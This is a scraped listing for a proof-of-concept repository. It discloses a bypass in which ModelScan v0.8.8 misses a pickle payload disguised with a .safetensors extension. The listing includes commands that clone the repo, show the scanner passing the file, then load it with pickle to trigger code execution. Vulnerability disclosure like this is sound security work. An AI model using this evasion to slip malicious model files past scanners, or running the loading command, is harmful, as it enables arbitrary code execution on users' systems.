You can deploy this model and start earning money today!

xiaoyaoes/
modelscan-bypass-safetensors

Name: modelscan-bypass-safetensors
Availability: InStock

Views

No views yet

ModelScan SafeTensors Bypass PoC

PoC for ProtectAI ModelScan scanner bypass via .safetensors extension blind spot.

Affected: ModelScan v0.8.8 Format: SafeTensors (.safetensors) Impact: Complete scanner bypass → pickle RCE

Verification

bash

git clone https://huggingface.co/xiaoyaoyou2/modelscan-bypass-safetensors
cd modelscan-bypass-safetensors

# ModelScan says it's clean
modelscan -p rce-exploit.safetensors

# But it's actually RCE
python3 -c "import pickle; pickle.load(open('rce-exploit.safetensors','rb'))"
cat /tmp/pwned.txt  # Should show uid=... 

Details

See full report on huntr.

xiaoyaoes/modelscan-bypass-safetensors

ModelScan SafeTensors Bypass PoC

Verification

Details

xiaoyaoes/
modelscan-bypass-safetensors